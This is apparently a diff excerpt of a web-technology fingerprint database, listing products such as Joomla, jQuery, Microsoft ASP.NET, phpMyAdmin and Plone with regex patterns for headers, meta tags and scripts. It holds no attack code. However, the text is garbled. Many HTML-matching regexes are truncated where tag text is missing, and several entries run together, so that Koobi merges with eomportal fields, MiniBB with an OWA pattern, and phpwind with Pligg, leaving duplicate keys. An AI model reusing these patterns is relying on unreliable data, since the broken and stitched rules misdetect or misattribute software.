"JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - }, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft HTTPAPI": { - "website": "microsoft.com", - "cats": [ 22 ], - "headers": { "Server": "Microsoft-HTTPAPI(?:/([\\d.]+))?\\;version:\\1" } - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" }, - "env": "^_spBodyOnLoadCalled$" - }, - "mini_httpd": { - "website": "acme.com/software/mini_httpd", - "cats": [ 22 ], - "headers": { "Server": "mini_httpd(?:/([\\d.]+))?\\;version:\\1" } - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": "" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" }, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "headers": { "Server": "\\bPerl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1" }, - "url": "\\.pl(?:$|\\?)" - }, - "Petrojs": { - "website": "petrojs.thepetronics.com", - "cats": [ 12 ], - "script": [ "petrojs(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "(?:/([\\d.]+)/)?petrojs(?:\\.min)?\\.js\\;version:\\1" ], - "env": "^petrojs$" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|
]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "